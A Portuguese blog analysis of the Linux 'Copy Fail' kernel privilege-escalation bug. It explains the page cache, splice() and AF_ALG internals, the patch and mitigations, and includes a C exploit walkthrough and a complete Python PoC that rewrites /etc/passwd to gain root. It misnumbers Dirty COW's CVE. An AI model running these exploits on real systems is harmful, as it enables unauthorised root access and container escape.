CVE-2026-31431: Copy Fail

2026-05-03

Em 29 de abril de 2026, a Theori divulgou o Copy Fail (CVE-2026-31431), um local privilege escalation que afeta todas as principais distribuições Linux desde 2017. Uma falha lógica no cryptographic template authencesn do kernel, encadeada através de sockets AF_ALG e splice(), dá a um usuário sem privilégios uma escrita determinística de 4 bytes no page cache de qualquer arquivo legível. Um script Python de 732 bytes corrompe /usr/bin/su em memória e spawna uma shell como root.

Quando eu li o writeup do Xint na hora pensei no Dirty COW (CVE-2016-5341), outro bug de corrupção de page cache que dava root em tudo. Mas a mecânica é completamente diferente. Dirty COW era uma race condition no handler de page fault do copy-on-write. Duas threads disputando madvise(MADV_DONTNEED) contra um write fault conseguiam encaixar uma escrita em um mapeamento read-only. Copy Fail não tem race nenhuma. É só uma sequência determinística de syscalls que qualquer usuário sem privilégios pode chamar. Dirty COW escrevia pelo subsistema de memória virtual, que pelo menos entende permissões de página. Copy Fail escreve pelo subsistema de crypto, que não tem nenhum conceito de ownership de página. Ele só vê uma entrada de scatterlist e escreve nela.

Eu também achei que era um out-of-bounds write no começo (quando li “writes 4 bytes past the ciphertext boundary”). Não é. Vamos ver o porquê, e é a razão pela qual o KASAN nunca pegou isso em oito anos.

O writeup do Xint é bem feito mas passa rápido pelas internals do kernel. Aqui vamos mais devagar, cobrindo page cache, scatterlists, splice() e AF_ALG/AEAD pra que você consiga acompanhar a chain completa mesmo que nunca tenha lido código do MM(memory management) do Linux. Todos os créditos pela descoberta vão para Taeyang Lee, Theori e o Xint Code Research Team

O Page Cache

Toda vez que fazemos um read() em um arquivo, o kernel não vai ao disco. Ele vai ao page cache, um cache em memória de dados de arquivos compartilhado por todo o sistema, organizado por pares (inode, offset). Se a página já está em cache por uma leitura anterior (de qualquer processo), o kernel retorna direto. Se não, ele lê do disco, coloca em cache e retorna.

   container 1          container 2        host
  +-----------+       +-----------+       +-----------+
  | Process A |       | Process B |       | Process C |
  |  read()   |       |  execve() |       |  mmap()   |
  +-----+-----+       +-----+-----+       +-----+-----+
        |                   |                   |
        +-------------------+-------------------+
                            |
                            v
   +---------------------------------------------------------+
   |                    Page Cache  (RAM)                    |
   |                                                         |
   |    /usr/bin/su   +--------+--------+--------+           |
   |                  | page 0 | page 1 | page 2 |           |
   |                  |  ELF   | .text  | .data  |           |
   |                  +--------+--------+--------+           |
   +---------------------------+-----------------------------+
                               ^
                         miss  |  populate
                               v
                        +-------------+
                        |    disk     |
                        | /usr/bin/su |
                        +-------------+

Duas structs importam aqui:

A propriedade crítica pra essa vulnerabilidade é que o page cache é compartilhado por todo o sistema. Se dois processos em containers, cgroups e user namespaces diferentes leem o mesmo arquivo no mesmo filesystem, eles vão compartilhar as mesmas páginas físicas. Corrompendo uma página do Page Cache e todos os leitores veem o estado corrompido.

Mais uma coisa. O page cache rastreia se uma página foi modificada (o bit “dirty”). Quando uma página fica dirty pelo caminho normal de escrita (write(), mmap store), o kernel marca ela como dirty e eventualmente escreve de volta no disco. Mas a corrupção que vamos ver não passa pelo caminho normal de escrita. A página nunca é marcada como dirty e o arquivo no disco fica intacto, mas todo processo que lê o arquivo recebe a versão corrompida em memória.

Scatterlists

O kernel muitas vezes precisa descrever buffers que abrangem múltiplas páginas físicas não contíguas. Um read() pode retornar dados de páginas espalhadas pela memória física. Operações de crypto precisam processar input espalhado por diferentes alocações. A scatterlist é a forma do kernel representar esses buffers não contíguos.

Uma única entrada struct scatterlist descreve um pedaço contíguo:

struct scatterlist {
    unsigned long   page_link;  // struct page* | flags in low 2 bits
    unsigned int    offset;     // byte offset within the page
    unsigned int    length;     // byte length of this chunk
    dma_addr_t      dma_address;
};

O campo page_link é overloaded(o valor em si é um ponteiro e dois bits de flags embutidos nos 64 bits). Os 2 bits mais baixos representam as flags:

Os bits superiores (depois de mascarar os 2 mais baixos) armazenam o ponteiro struct page*.

Uma cadeia de scatterlists fica assim:

  SG Array 1                        SG Array 2
  +-------------------------+       +-------------------------+
  | sg[0]: page_A off=0     |       | sg[0]: page_C off=128   |
  |        len=4096         |       |        len=64   [END]   |
  +-------------------------+       +-------------------------+
  | sg[1]: page_B off=0     |                ^
  |        len=512          |                |
  +-------------------------+                |
  | sg[2]: CHAIN            |----------------+
  +-------------------------+

sg_chain() é a função que cria esses links. Ela seta o bit SG_CHAIN na última entrada de um array e aponta pro primeiro entry do próximo.

Pra ler ou escrever dados em um byte offset dentro de uma cadeia de scatterlist, o kernel fornece scatterwalk_map_and_copy(). Ela percorre a cadeia entrada por entrada, pulando páginas até chegar no offset alvo, e então copia dados pra dentro ou pra fora. Essa função é a que no final faz a escrita de 4 bytes no page cache nessa vulnerabilidade.

splice(): I/O Zero-Copy

A system call splice() move dados entre um file descriptor e um pipe sem copiar pelo userspace. Em vez de fazer read() dos dados do arquivo pra um buffer userspace e depois write() pra outro fd, o splice() passa referências de página. O pipe segura ponteiros pras mesmas páginas físicas que vivem no page cache.

  splice(file_fd, pipe_wr)          splice(pipe_rd, socket_fd)

  +----------+    +----------+    +----------+
  |   File   |--->|   Pipe   |--->|  Socket  |
  | (on disk)|    | (in mem) |    | (AF_ALG) |
  +----------+    +----------+    +----------+
       |               |               |
       '---------------'               |
       same physical pages         kernel crypto
       (page cache pages)         receives page cache
                                  page refs in its
                                  scatterlist

Quando fazemos splice() de um arquivo pra um pipe, o buffer interno do pipe não recebe uma cópia dos dados. Ele recebe referências pras páginas do page cache em si. Depois, quando fazemos splice() do pipe pra um socket, os buffers internos do socket (scatterlists, no caso do AF_ALG) recebem essas mesmas referências de páginas do page cache. Nenhuma cópia em nenhum passo. O subsistema de crypto do kernel agora segura ponteiros diretos pras páginas do page cache do arquivo que fizemos splice.

Sem splice(), o subsistema de crypto operaria em buffers copiados. Com splice(), ele opera no page cache em si. Dirty COW usava o mesmo truque de passar referências de página sem copiar.

AF_ALG e AEAD

AF_ALG é uma família de sockets Linux que expõe a cryptographic API do kernel pra userspace sem privilégios. Qualquer usuário pode:

int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);  // AF_ALG = 38
struct sockaddr_alg sa = {                         // include/uapi/linux/if_alg.h:19
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))"
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

Sem privilégios. Sem CAP_NET_ADMIN. O módulo auto-carrega no primeiro uso. AF_ALG foi feito pra que aplicações userspace pudessem usar hardware-accelerated crypto sem escrever módulos de kernel. Conveniente pra gente também.

AEAD (Authenticated Encryption with Associated Data) é uma classe de algoritmos de crypto que provê tanto confidencialidade (encriptação) quanto integridade (tag de autenticação). O input pra uma decrypt AEAD se parece com:

  +---------------+--------------------+------------------+
  | AAD           | Ciphertext         | Authentication   |
  | (auth'd only) | (decrypted+auth'd) | Tag (verified)   |
  +---------------+--------------------+------------------+

O AAD (Associated Data) é autenticado mas não encriptado. São metadados em texto puro que não podem ser adulterados. O ciphertext é decriptado. A tag de autenticação é verificada contra o AAD e o ciphertext pra detectar adulteração.

authencesn

authencesn é um template AEAD específico usado pra IPsec ESP com Extended Sequence Numbers (RFC 4303).

Todo pacote IPsec carrega um sequence number pra prevenir replay attacks. Originalmente era um contador de 32 bits, mas a 10 Gbps um contador de 32 bits wrapa em menos de 2 segundos. A RFC 4303 introduziu Extended Sequence Numbers (ESN), um contador de 64 bits dividido em duas metades:

  Full 64-bit ESN: [ seqno_hi (32 bits) | seqno_lo (32 bits) ]
                     upper 32 bits        lower 32 bits

Só o seqno_lo vai no wire no header ESP. O sender e o receiver mantêm um contador compartilhado (o estado da Security Association), então seqno_hi é implícito, ambos os lados sabem. Isso economiza 4 bytes por pacote no wire enquanto ainda tem uma janela anti-replay de 64 bits.

O hash de autenticação precisa cobrir o sequence number completo de 64 bits, incluindo os bits altos que não estão no pacote. Então o kernel tem que reconstruir o ESN completo antes de computar o HMAC. No caminho real do IPsec (esp_input_set_header()), o código ESP pega o seqno_hi implícito do estado da SA (Security Association), empurra o header do skb pra trás por 4 bytes, e coloca seqno_hi no AAD antes de passar pro authencesn:

  ESP header on the wire:     [  SPI  |  seqno_lo  | IV | ciphertext | tag ]
                                                ^
                                                | only 32 bits

  AAD reconstructed for HMAC: [  seqno_hi  |  seqno_lo  |  SPI  ]
                                 bytes 0-3    bytes 4-7    bytes 8-11
                                 (from SA)    (from wire)  (from wire)

Agora o authencesn tem o ESN completo de 64 bits nos primeiros 8 bytes do AAD. Mas a spec do HMAC pro ESP diz que o hash deve ser computado sobre [SPI | seqno_lo | seqno_hi | ciphertext], uma ordem de bytes diferente. Então o authencesn precisa rearranjar esses bytes antes de computar o hash. Ele faz isso tratando o buffer de destino do caller como espaço de rascunho.

Em crypto_authenc_esn_decrypt(), três chamadas de scatterwalk_map_and_copy() fazem o shuffle (source):

  Step 1: read  tmp[0..1] = dst[0..7]          -- grab seqno_hi and seqno_lo
  Step 2: write dst[4..7] = tmp[0] (seqno_hi)  -- move seqno_hi to bytes 4-7
  Step 3: write dst[assoclen+cryptlen] = tmp[1] -- stash seqno_lo PAST the ciphertext

No caminho normal de decrypt do IPsec, dst[assoclen + cryptlen] aponta pra o authentication tag, os bytes de HMAC logo depois do ciphertext no buffer AEAD. A região da tag faz parte do mesmo buffer skb alocado pelo kernel, totalmente writable, e que vai ser sobrescrito com o HMAC computado de qualquer forma. Guardar seqno_lo lá temporariamente é inofensivo. É espaço de rascunho que vai ser consumido pela comparação do HMAC e depois descartado:

  Normal IPsec dst buffer (single skb allocation):

  +----------+--------------+----------+
  |   AAD    |  ciphertext  |   tag    |  <-- all one contiguous kernel buffer
  +----------+--------------+----------+
  |                         |          |
  | assoclen |   cryptlen   | authsize |
  |                         ^
  |              dst[assoclen+cryptlen]
  |              = start of tag region
  |              safe to use as scratch

Depois do HMAC, crypto_authenc_esn_decrypt_tail() restaura o layout original. Ela lê seqno_lo de volta de dst[assoclen+cryptlen] e escreve os 8 bytes originais de volta em dst[0..7]. Round-trip limpo, sem efeitos colaterais.

Tudo isso assume que dst é um buffer privado e writable. Que dst[assoclen + cryptlen] é seguro pra escrever porque é só a região da tag de um buffer crypto do kernel. Isso quebra quando alguém encadeia páginas do page cache na scatterlist de destino nesse offset exato.

O Bug

A Otimização In-Place de 2017

Em 2017, o commit 72548b093ee3 adicionou uma otimização ao algif_aead.c, a interface AF_ALG AEAD. A ideia era simples. Pra decriptação, em vez de usar scatterlists de input e output separadas, operar in-place apontando tanto req->src quanto req->dst pra mesma scatterlist. Isso evita uma alocação e uma cópia. Faz sentido como ganho de performance.

O socket AF_ALG funciona como um socket de rede. O userspace transmite dados pro kernel (sendmsg/splice) e recebe resultados de volta (recvmsg). O kernel usa terminologia de rede pros dois lados:

A implementação em _aead_recvmsg():

  1. Copia o AAD e o ciphertext do TX SGL pro RX SGL.
  2. Encadeia as páginas de tag restantes do TX SGL no RX SGL usando sg_chain().
  3. Seta req->src = req->dst. Tanto source quanto destination agora apontam pra mesma scatterlist combinada.

Quando os dados vieram pelo splice(), o TX SGL segura páginas do page cache. Depois do encadeamento, essas páginas do page cache agora fazem parte da scatterlist de destino:

req->src --+
           |
           v
req->dst --> RX Buffer (user memory)          TX SGL (page cache pages)
             +----------+----------+          +----------------------+
             |   AAD    |    CT    |--chain-->|  Tag pages           |
             | (copied) | (copied) |          |  (Page Cache pages!) |
             +----------+----------+          +----------------------+
             <--- user memory ---->           <-- still page cache! ->

A fronteira entre “seguro pra escrever” (memória do usuário no RX buffer) e “não pode escrever” (páginas do page cache vindas do splice) agora é só um offset dentro da mesma cadeia de scatterlist. Qualquer escrita que ande além da região AAD + ciphertext cruza pro território do page cache.

Por que só o authencesn trigga isso

A otimização in-place está lá desde 2017, e todo algoritmo AEAD no kernel usa a mesma scatterlist dst. Então por que nem toda operação de decrypt corrompe o page cache?

Pra responder isso, vamos ver o que realmente escreve em dst durante um decrypt AEAD normal. Tem três subsistemas envolvidos, e cada um fica dentro da fronteira segura:

1. O engine HMAC (crypto_ahash_digest())

A computação do HMAC de dst pra fazer o hash do AAD e do ciphertext. Ela escreve o hash computado em um buffer separado do kernel (areq_ctx->tail), não de volta em dst. O output do hash vai pra um buffer pequeno alocado como parte do contexto do request. Mesmo que o HMAC leia todo o range [0 .. assoclen+cryptlen] de dst, ele nunca escreve um único byte nele.

2. O cipher engine (crypto_skcipher_decrypt())

A decriptação AES-CBC (ou qualquer cifra configurada) escreve plaintext em dst, mas só dentro da região do ciphertext, dst[assoclen .. assoclen+cryptlen-authsize]. Podemos ver o range em authenc.c line 254-255, skcipher_request_set_crypt(skreq, src, dst, req->cryptlen - authsize, req->iv). Essa região foi copiada do TX SGL pro RX buffer. Memória segura do usuário.

3. Checagem da tag (crypto_authenc_decrypt_tail())

Pra checar a tag de autenticação, o kernel lê a tag de req->src (line 240: scatterwalk_map_and_copy(ihash, req->src, ...)). Ele lê de req->src, não de req->dst. Mesmo com a otimização in-place onde src == dst, essa é uma operação de leitura (o último argumento do scatterwalk_map_and_copy é 0 = read). Os bytes da tag são lidos pro ihash (um buffer local), comparados com o HMAC computado via crypto_memneq, e descartados. A região da tag em dst nunca é escrita.

  Normal AEAD decrypt - who writes where in dst:

  +------- RX buffer (user memory) -------+-- chained page cache --+
  |   AAD        |   ciphertext           |   tag pages            |
  +--------------+------------------------+------------------------+
      |              |                    |
   HMAC reads     cipher WRITES         tag READ from src
   (no writes)    plaintext here        into local buffer
                  (RX buffer, safe)     (never written to dst)

O authenc regular (sem ESN) também escreve em dst[assoclen + cryptlen], mas só durante a encriptação (crypto_authenc_genicv(), line 154), onde ele copia a tag HMAC computada pro buffer de output. Esse é o caminho de encrypt, não decrypt. A otimização in-place com sg_chain só se aplica ao caminho de decrypt em _aead_recvmsg(). O caminho de encrypt usa um layout de SGL diferente onde o RX buffer é grande o suficiente pra segurar AAD + plaintext + tag, então nenhuma página do page cache é encadeada.

O authencesn é a exceção. O rearranjo de bytes do ESN é específico dos Extended Sequence Numbers do IPsec e nenhum outro algoritmo AEAD precisa disso. Esse rearranjo usa dst como espaço de rascunho, e o step 3 escreve 4 bytes em dst[assoclen + cryptlen] durante o caminho de decrypt. Sem o shuffle do ESN, a otimização in-place seria inofensiva. Nenhum subsistema no pipeline normal de decrypt escreve na região da tag de dst.

O bug passou despercebido por oito anos. A otimização in-place foi testada com authenc, gcm, ccm e outros algoritmos AEAD. Todos eles só leem a região da tag durante o decrypt. O authencesn era o único algoritmo que escrevia além da fronteira, e ninguém conectou os dois pontos.

A Escrita de 4 Bytes

Agora as duas peças colidem. Com a otimização in-place, dst é a scatterlist combinada RX+encadeada. Memória do usuário pro AAD e ciphertext, e depois páginas do page cache pra região da tag.

Vamos ver sobre assoclen e cryptlen. Esses são os dois parâmetros que definem o layout do buffer AEAD:

Juntos eles mapeiam a scatterlist dst:

byte offset:
       0               assoclen    assoclen+cryptlen
       |                  |                |
       v                  v                v
  dst: [    AAD (8 bytes) |  ciphertext    |  tag ...  ]
       +------------------+----------------+------...--+
       |<--- assoclen --->|<-- cryptlen -->|
       |                                   |
       +---- RX buffer (user memory) ------+-- chained page cache --+

assoclen + cryptlen é o byte offset onde o ciphertext termina e a tag de autenticação começa. Em operação normal, é onde a tag vive. Memória segura de buffer crypto. Mas com a otimização in-place, tudo depois da fronteira do RX buffer são páginas do page cache encadeadas do TX SGL via sg_chain(). O offset assoclen + cryptlen cai exatamente ali.

O shuffle do ESN do authencesn escreve seqno_lo exatamente em dst[assoclen + cryptlen] (step 3 acima). Esse offset anda além do AAD e do ciphertext (que vivem em memória do usuário) e cai nas páginas da tag encadeadas, que são páginas do page cache vindas do splice:

  dst scatterlist (in-place):

  +------ RX buffer (user memory) ------+---- chained TX SGL (page cache) ----+
  |  AAD (8 bytes) | ciphertext (N)     |  tag pages from splice              |
  +---------+------+--------------------+-----+--------------------------------+
            |                                 |
   step 2 writes here (safe)       step 3 writes here (Page Cache!)
   dst[4..7] = seqno_hi            dst[assoclen+cryptlen] = seqno_lo

Por que exatamente 4 bytes? Porque seqno_lo são os 32 bits baixos do ESN de 64 bits. 32 bits = 4 bytes. O tamanho da escrita de rascunho é fixo pelo formato ESN do IPsec.

Por Que Isso Não É um Out-of-Bounds Write

Quando eu li o writeup do Xint pela primeira vez (“writes 4 bytes past the ciphertext boundary”) de cara pensei que era um OOB write na minha cabeça. Escrevendo out of bounds? Heap overflow clássico, certo?

A escrita em dst[assoclen + cryptlen] está dentro dos limites da scatterlist dst. A scatterlist tem entradas válidas nesse offset, as páginas da tag encadeadas. scatterwalk_map_and_copy percorre a cadeia, encontra uma entrada struct scatterlist válida com um ponteiro struct page válido e um length válido, mapeia a página, escreve nela. Nenhum bounds check falha. Nenhuma corrupção de memória no sentido de heap. Nenhum KASAN splat. Tudo está “correto”.

O bug é sobre ownership, não tamanho. A scatterlist tem o tamanho certo. A página nesse offset é uma página real, mapeada, válida. Mas a página pertence ao page cache, uma cópia em cache de um arquivo no disco. E o authencesn trata ela como um buffer de rascunho privado. No caminho normal do IPsec, esse offset aponta pra uma página skb alocada pelo kernel que ninguém se importa. Com a otimização in-place e splice(), o mesmo offset agora aponta pra uma página do page cache que foi encadeada via sg_chain().

Sem buffer overflow. Sem use-after-free. Sem type confusion. A escrita é arquiteturalmente correta. Ela só escreve em uma página que nunca deveria estar naquela posição da scatterlist. Um bug lógico sobre quais páginas acabam em dst, não sobre quantos bytes são escritos. Dirty COW era invisível pra sanitizadores de memória pela mesma razão. A escrita acerta uma página válida, só a página errada. As ferramentas de segurança de memória do kernel checam tamanhos e lifetimes, não ownership.

O que o atacante controla?

  1. O valor escrito: tmp[1] é seqno_lo, bytes 4-7 do AAD. O atacante fornece o AAD via sendmsg(). Ele escolhe cada byte.
  2. O arquivo alvo: qualquer arquivo legível pelo usuário atual (aberto read-only, depois passado por splice()).
  3. O offset alvo: determinado pelo file offset passado pro splice() e os parâmetros assoclen/cryptlen.

E a escrita acontece antes da checagem do HMAC. crypto_authenc_esn_decrypt() rearranja o ESN primeiro (line 293-295), depois computa o HMAC (line 305), e aí checa em decrypt_tail(). O HMAC vai falhar (o ciphertext é lixo controlado pelo atacante) e recvmsg() retorna um erro. Mas a escrita de 4 bytes no page cache já foi feita.

O Exploit

Walkthrough do PoC

O PoC público é um script Python ofuscado de 732 bytes. Pra facilitar o acompanhamento do fluxo de syscalls, aqui vai a mesma lógica como C legível. Também tem um port completo em C pelo @tgies.

Step 1: Abre o socket AF_ALG e faz bind do authencesn

int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))"
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

Isso cria um socket AF_ALG e faz bind no template AEAD authencesn. Sem privilégios. O kernel auto-carrega algif_aead e authencesn no primeiro uso.

Step 2: Configura os parâmetros de crypto

// AES-128 key, value doesn't matter, HMAC will fail anyway
uint8_t key[40] = { 0x08, 0x00, 0x01, 0x00, [4 ... 7] = 0x00, [8 ... 11] = 0x10 };
setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));

// Authentication tag size = 4 bytes
setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

// accept() gives us the request file descriptor
int req_fd = accept(alg_fd, NULL, NULL);

SOL_ALG = 279. ALG_SET_KEY = 1. ALG_SET_AEAD_AUTHSIZE = 5. O valor da chave é irrelevante, a computação do HMAC vai falhar de qualquer forma, e a corrupção do page cache acontece antes da checagem.

Step 3: A primitiva write4, uma escrita de 4 bytes no page cache

Esse é o core do exploit. Cada chamada sobrescreve 4 bytes em um offset escolhido no page cache do arquivo alvo:

void write4(int req_fd, int target_fd, off_t offset, uint8_t value[4])
{
    // Build the AAD: 4 garbage bytes + the 4 bytes we want to write.
    // Bytes 4-7 become seqno_lo in authencesn, the value that gets
    // written to dst[assoclen+cryptlen], which is our page cache page.
    uint8_t aad[8] = { 'A','A','A','A', value[0], value[1], value[2], value[3] };

    // cmsg headers tell the kernel: decrypt mode, IV, assoclen = 8
    struct cmsghdr cmsg_iv, cmsg_op, cmsg_assoclen;
    // ALG_SET_IV:            16 zero bytes (AES block size)
    // ALG_SET_OP:            ALG_OP_DECRYPT
    // ALG_SET_AEAD_ASSOCLEN: 8 (our AAD is 8 bytes)

    struct msghdr msg = { /* iov = aad, cmsg = above */ };
    sendmsg(req_fd, &msg, MSG_MORE);   // send AAD, flag more data coming

    // Now splice the target file's page cache pages into the crypto socket.
    // This is where the page cache pages enter the TX SGL by reference.
    int pipefd[2];
    pipe(pipefd);

    loff_t file_off = 0;
    splice(target_fd, &file_off, pipefd[1], NULL, offset + 4, 0);
    splice(pipefd[0], NULL, req_fd, NULL, offset + 4, 0);

    // recv() triggers the AEAD decrypt in the kernel.
    // authencesn rearranges ESN bytes -> writes seqno_lo to page cache.
    // HMAC fails -> recv returns error, but the 4 bytes are already written.
    char buf[4096];
    recv(req_fd, buf, sizeof(buf), 0);   // error expected, we don't care

    close(pipefd[0]);
    close(pipefd[1]);
}

O sendmsg com MSG_MORE envia o AAD (8 bytes) e diz pro kernel “mais dados estão vindo”. As duas chamadas de splice então alimentam as páginas do page cache do arquivo alvo no socket como ciphertext + tag. Quando o recv dispara o decrypt, o authencesn escreve aad[4..7] em dst[assoclen + cryptlen], que é uma página do page cache do arquivo alvo.

Step 4: Sobrescreve o binário alvo, 4 bytes por vez

int target = open("/usr/bin/su", O_RDONLY);

// payload[] is a small ELF shellcode that calls setuid(0) + execve("/bin/sh")
for (int i = 0; i < payload_len; i += 4) {
    write4(req_fd, target, i, &payload[i]);
}

// The page cache of /usr/bin/su now contains our shellcode.
// Execute it - the kernel loads from the corrupted page cache.
execve("/usr/bin/su", (char*[]){ "su", NULL }, NULL);
// we are root

Cada chamada de write4 corrompe 4 bytes do page cache de /usr/bin/su. Depois de payload_len / 4 iterações, a imagem em memória do binário foi reescrita. execve carrega do cache corrompido, não do disco. O shellcode roda como root. Profit! :D

Por Que escapa de Containers

O page cache é por filesystem, não por namespace. Um container que monta o root filesystem do host (ou compartilha uma layer com ele) usa as mesmas páginas físicas do page cache que o host. Corrompendo a page cache de /usr/bin/su de dentro de um container, e o su do host está corrompido também. Container escape de graça.

O Non-Fix do chmod 4711

Depois da divulgação, uma “mitigação” começou a circular no twitter:

for b in passwd chsh chfn mount sudo pkexec; do
    p=$(readlink -f "$(command -v "$b")")
    [ -n "$p" ] && [ "$(stat -c %a "$p")" != "4711" ] && chmod 4711 "$p"
done

Ela remove a permissão de leitura de binários setuid (rwx--x--x em vez de rwsr-xr-x), pra que usuários sem privilégios não consigam fazer open() neles pra leitura, e portanto não possam fazer splice() das páginas do page cache deles.

Isso não funciona. A vulnerabilidade é uma escrita de 4 bytes no page cache de qualquer arquivo legível, não só binários setuid. O PoC original alvo é /usr/bin/su porque é um binário setuid conveniente pra corromper e executar. Mas a primitiva é muito mais geral. Enquanto você puder fazer open(path, O_RDONLY) em um arquivo, você pode corromper o page cache dele.

/etc/passwd é o alvo alternativo óbvio. Legível por todos em todo sistema Linux porque ls -l, id, ps e todo programa que mapeia UIDs pra nomes lê ele. O formato é trivial, cada linha é username:x:uid:gid:.... Sobrescrever o campo UID do seu usuário de 1000 pra 0000 no page cache faz o sistema acreditar que você é root.

Eu escrevi um PoC mínimo que faz exatamente isso. Em vez de corromper um binário setuid, ele sobrescreve o campo UID da entrada do atacante em /etc/passwd:

#!/usr/bin/env python3
## Tested on kernel 6.12.10.
import os, socket, struct

TARGET = "/etc/passwd"
USER   = os.environ.get("USER", "user")

with open(TARGET, "rb") as f:
    data = f.read()
# Find the line for our user: "user:x:1000:1000:..."
# The UID is the third field (after the second ':')
prefix = f"{USER}:x:".encode()
idx = data.find(prefix)
uid_offset = idx + len(prefix)
old_uid = data[uid_offset:uid_offset+4]

ALG_SOCK  = 38   # AF_ALG
SOL_ALG   = 279
ALG_SET_KEY           = 1
ALG_SET_IV            = 2
ALG_SET_OP            = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5

alg = socket.socket(ALG_SOCK, socket.SOCK_SEQPACKET, 0)
alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

# Key format: rtattr header + crypto_authenc_key_param + authkey + enckey
# rtattr { rta_len=8, rta_type=CRYPTO_AUTHENC_KEYA_PARAM(1) }
# crypto_authenc_key_param { enckeylen=16 (AES-128, big-endian) }
# then: 16 bytes HMAC-SHA256 key + 16 bytes AES key (all zeros, value irrelevant)
key = bytes.fromhex('0800010000000010' + '0' * 64)
alg.setsockopt(SOL_ALG, ALG_SET_KEY, key)
alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)

req, _ = alg.accept()
def write4(fd, offset, value_4bytes):
    aad = b"AAAA" + value_4bytes  # bytes 4-7 of AAD = seqno_lo = the written value
    iv_data  = b'\x10' + b'\x00' * 19
    op_data  = b'\x00' * 4
    assoc    = struct.pack("I", 8)
    req.sendmsg(
        [aad],
        [
            (SOL_ALG, ALG_SET_IV, iv_data),
            (SOL_ALG, ALG_SET_OP, op_data),
            (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, assoc),
        ],
        socket.MSG_MORE
    )

    splice_len = offset + 4
    r, w = os.pipe()
    os.splice(fd, w, splice_len, offset_src=0)
    os.splice(r, req.fileno(), splice_len)
    try:
        req.recv(8 + offset)
    except OSError:
        pass
    os.close(r)
    os.close(w)

target_fd = os.open(TARGET, os.O_RDONLY)
new_uid = b"0000"

write4(target_fd, uid_offset, new_uid)
os.close(target_fd)
import pwd
info = pwd.getpwnam(USER)
if info.pw_uid == 0:
    print(f"[+] '{USER}' is now UID 0 in the page cache, just run `su - {USER}`")
else:
    print(f"[-] UID is {info.pw_uid}, expected 0")

O fluxo do ataque é diferente da abordagem com setuid mas igualmente efetivo:

  1. Corrompe /etc/passwd no page cache, mudando user:x:1000: pra user:x:0000:
  2. Roda su - user e digita a própria senha do user
  3. O PAM autentica contra /etc/shadow (intacto, a senha é válida)
  4. Depois da autenticação, su chama setuid(getpwnam("user").pw_uid)
  5. getpwnam/etc/passwd do page cache corrompido e retorna UID 0
  6. setuid(0), root shell

Nenhum binário setuid foi corrompido. Nenhuma permissão de leitura em nenhum binário setuid foi necessária. O alvo era um arquivo de texto legível por todos. A “mitigação” do chmod 4711 não muda nada.

Aplique o patch no kernel, desabilite o carregamento do módulo algif_aead, ou bloqueie a criação de sockets AF_ALG via seccomp. chmod não ajuda.

O Patch

O Commit a664bf3d603d reverte a otimização in-place de 2017. O fix é simples na teoria. Manter source e destination como scatterlists separadas.

Antes (vulnerável), algif_aead.c:282:

// src and dst point to the same scatterlist (in-place)
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,
                        areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);

Páginas do page cache vindas do TX SGL são encadeadas no src/dst compartilhado via sg_chain(). A escrita de rascunho do authencesn cai nelas.

Depois (corrigido):

// src and dst are separate scatterlists (out-of-place)
aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src,
                        areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);

req->src agora aponta pro TX SGL (que pode conter páginas do page cache vindas do splice). req->dst aponta pro RX SGL, um buffer alocado separadamente pro recvmsg() do usuário. A escrita de rascunho do authencesn em dst[assoclen + cryptlen] agora acerta o RX buffer (memória inofensiva do usuário), não páginas do page cache. O sg_chain() ligando páginas da tag do page cache a um destino gravável sumiu.

A mensagem do commit:

crypto: algif_aead - Revert to operating out-of-place

This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.

Oito anos de exposição silenciosa, corrigidos removendo uma otimização de performance que não tinha nenhum benefício real. Hmm.

Mitigação

Se não puder aplicar o patch agora, bloqueie a criação de sockets AF_ALG:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

Isso não afeta dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, SSH, ou qualquer usuário de crypto in-kernel. Esses passam pela API de crypto do kernel direto sem AF_ALG. Pra containers e sistemas de CI, bloqueie também a criação de sockets AF_ALG via seccomp.

Referências

  1. Copy Fail - Official landing page
  2. Xint Code Research Team - Full technical writeup
  3. theori-io/copy-fail-CVE-2026-31431 - PoC repository
  4. Commit 72548b093ee3 - the 2017 in-place optimization (vulnerability introduction)
  5. Commit a664bf3d603d - the fix
  6. Linux Scatterlist Cryptographic API documentation

Se você tiver qualquer duvida, fique a vontade para chamar no twitter!